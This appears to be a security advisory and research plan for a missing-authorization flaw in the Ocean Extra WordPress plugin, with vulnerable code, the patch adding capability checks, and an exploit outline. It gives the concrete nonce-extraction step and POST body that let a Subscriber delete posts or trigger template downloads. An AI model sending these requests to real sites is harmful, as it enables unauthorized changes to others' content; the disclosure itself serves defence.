Ocean Extra <= 2.5.3 - Missing Authorization
Description
The Ocean Extra plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.5.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.5.4
Source Code
WordPress.org SVN# Research Plan: CVE-2026-34903 - Ocean Extra Missing Authorization ## 1. Vulnerability Summary The **Ocean Extra** plugin (<= 2.5.3) contains a missing authorization vulnerability in its Onboarding/Demo Import logic. Specifically, the class `OE_Onboarding_Site_Templates_Import_Data` registers seve…
Show full research plan
Research Plan: CVE-2026-34903 - Ocean Extra Missing Authorization
1. Vulnerability Summary
The Ocean Extra plugin (<= 2.5.3) contains a missing authorization vulnerability in its Onboarding/Demo Import logic. Specifically, the class OE_Onboarding_Site_Templates_Import_Data registers several AJAX actions that lack capability checks (current_user_can). While these actions verify a WordPress nonce for CSRF protection, the nonce is available to any authenticated user (including Subscribers) in the WordPress admin dashboard. This allows a Subscriber-level attacker to trigger administrative actions such as downloading template files, deleting specific posts, and importing demo data.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
oceanwp_onboarding_import_data(registered inincludes/onboarding/class/import-data.php) - Vulnerable Parameters:
action:oceanwp_onboarding_import_datanonce: Theowp-onboardingnonce.importType:content,customizer,widgets, orform.
- Authentication: Authenticated (Subscriber and above).
- Preconditions: The plugin must be active, and a valid nonce must be retrieved from the admin area.
3. Code Flow
- Nonce Generation:
OE_Onboarding_Manager::localize_script()(inincludes/onboarding/start.php) creates a nonce:'nonce' => wp_create_nonce( 'owp-onboarding' ), - Nonce Exposure: This nonce is localized to the script
oe-onboardingviawp_localize_scriptunder the object nameoeOnboardingLoc. The scripts are enqueued via theadmin_enqueue_scriptshook, which runs for any user logged into the WordPress dashboard. - AJAX Registration: In
includes/onboarding/class/import-data.php, the__construct()method registers the AJAX handlers:add_action( 'wp_ajax_oceanwp_onboarding_import_data', array( $this, 'onboarding_import_data' ) ); - Vulnerable Handler: The function
onboarding_import_data()performs a nonce check but fails to perform an authorization check:public function onboarding_import_data() { if ( !isset($_POST['nonce']) || !wp_verify_nonce( sanitize_key($_POST['nonce']), 'owp-onboarding' ) ) { wp_send_json_error([...]); } // ... (Missing current_user_can('manage_options')) ... $import_type = isset($_POST['importType']) ? sanitize_text_field($_POST['importType']) : ''; // ... switch ($import_type) { case 'content': $result = $this->import_content($template); break; // ... } } - Sink:
import_content($template)(in the same file) proceeds to delete standard WordPress posts:$sample_page = get_page_by_path( 'sample-page', OBJECT, 'page' ); $hello_world_post = get_page_by_path( 'hello-world', OBJECT, 'post' ); if ( ! is_null( $sample_page ) ) { wp_delete_post( $sample_page->ID, true ); }
4. Nonce Acquisition Strategy
The nonce is localized in the WordPress admin dashboard for all authenticated users.
- Navigation: Navigate to
/wp-admin/index.phpas a Subscriber. - Extraction: Use
browser_evalto extract the nonce from the global JavaScript objectoeOnboardingLoc.- JS Command:
window.oeOnboardingLoc?.nonce
- JS Command:
5. Exploitation Strategy
- Auth: Log in as a Subscriber-level user.
- Setup: The handler requires the option
ocean_installing_template_datato be set. Since the focus is demonstrating the lack of authorization on the AJAX handler, we will simulate the "Template Selection" step by setting this option via CLI, or verify if the handler reaches thewp_verify_noncecheck. - Request: Send a POST request to
admin-ajax.php.- URL:
http://localhost:8888/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=oceanwp_onboarding_import_data&nonce=[NONCE]&importType=content
- URL:
- Action: The execution will trigger the
import_contentmethod. This method automatically attempts to delete the default "Hello World" post and "Sample Page".
6. Test Data Setup
- User: Create a user with the
subscriberrole. - Target Content: Ensure a post with slug
hello-worldexists (standard in default WP). - State Setup: Set the required option for the importer to proceed:
(Note: This simulates the attacker or a previous admin selecting a demo template to import).wp option update ocean_installing_template_data '{"slug":"coach","content":true}' --format=json
7. Expected Results
- The AJAX request should return a JSON response.
- If the import fails due to connectivity to
demos.oceanwp.org, theimport_contentlogic will still execute thewp_delete_postcalls before the external fetch, confirming unauthorized modification of site content. - The "Hello World" post will be permanently deleted from the database.
8. Verification Steps
- Check Post Existence:
If the post is no longer listed, the unauthorized action was successful.wp post list --name="hello-world" --post_type=post - Verify Capability Check: Attempt the same request as an unauthenticated user; it should fail the nonce check. Attempt as a Subscriber; it should pass the nonce check and proceed to the logic.
9. Alternative Approaches
If importType=content fails or is blocked by environmental factors:
- Action:
download_selected_template_data - Body:
action=download_template_data&security=[NONCE] - Effect: This calls
download_template_files, which makes remote requests (SSRF-lite) and updates the optionocean_downloaded_demo_path. - Verification:
wp option get ocean_downloaded_demo_pathto see if it was updated by the Subscriber's request.
Summary
The Ocean Extra plugin for WordPress is vulnerable to unauthorized data modification and administrative action execution due to missing capability checks on several AJAX handlers in the onboarding and demo import logic. This allows authenticated attackers with Subscriber-level access to trigger demo data imports, download template files, or delete default site content like posts and pages.
Vulnerable Code
// includes/onboarding/class/import-data.php line 60 public function download_selected_template_data() { check_ajax_referer('owp-onboarding', 'security'); $template = get_option('ocean_installing_template_data'); --- // includes/onboarding/class/import-data.php line 131 public function onboarding_import_data() { if ( !isset($_POST['nonce']) || !wp_verify_nonce( sanitize_key($_POST['nonce']), 'owp-onboarding' ) ) { wp_send_json_error(array( 'message' => __('Nonce verification failed.', 'ocean-extra') )); } $template = get_option('ocean_installing_template_data'); --- // includes/onboarding/start.php line 228 return apply_filters( 'ocean_onboarding_localize', [ 'options' => oe_onboarding_wizard_options(), 'childThemeStatus' => $child_theme_status, 'siteUrl' => esc_url(site_url()), 'homeUrl' => esc_url(home_url()), 'adminUrl' => esc_url(admin_url()), 'nonce' => wp_create_nonce( 'owp-onboarding' ), 'ajax_url' => admin_url( 'admin-ajax.php' ),
Security Fix
@@ -64,6 +64,15 @@ check_ajax_referer('owp-onboarding', 'security'); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( + array( + 'message' => __( 'You do not have permission to perform this action.', 'ocean-extra' ) + ), + 403 + ); + } + $template = get_option('ocean_installing_template_data'); if (empty($template)) { @@ -132,6 +141,15 @@ )); } + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( + array( + 'message' => __( 'You do not have permission to perform this action.', 'ocean-extra' ) + ), + 403 + ); + } + $template = get_option('ocean_installing_template_data'); if (empty($template)) { @@ -385,6 +403,15 @@ )); } + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( + array( + 'message' => __( 'You do not have permission to perform this action.', 'ocean-extra' ) + ), + 403 + ); + } + $template = get_option('ocean_installing_template_data'); if ( empty( $template ) ) {
Exploit Outline
An attacker with Subscriber-level privileges can exploit this vulnerability through the following steps: 1. Log in to the WordPress admin dashboard as a Subscriber. 2. Locate the global JavaScript object `oeOnboardingLoc` (localized by the plugin for all authenticated users) and extract the value of the `nonce` key, which uses the action string 'owp-onboarding'. 3. Send an AJAX POST request to `/wp-admin/admin-ajax.php` with the action set to `oceanwp_onboarding_import_data` or `download_template_data`. 4. Include the extracted nonce in the `nonce` or `security` parameter respectively. 5. To delete standard content, use the `importType=content` parameter. The server-side logic in `import_content` will proceed to call `wp_delete_post` for the 'sample-page' and 'hello-world' slugs without verifying if the user has administrative permissions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.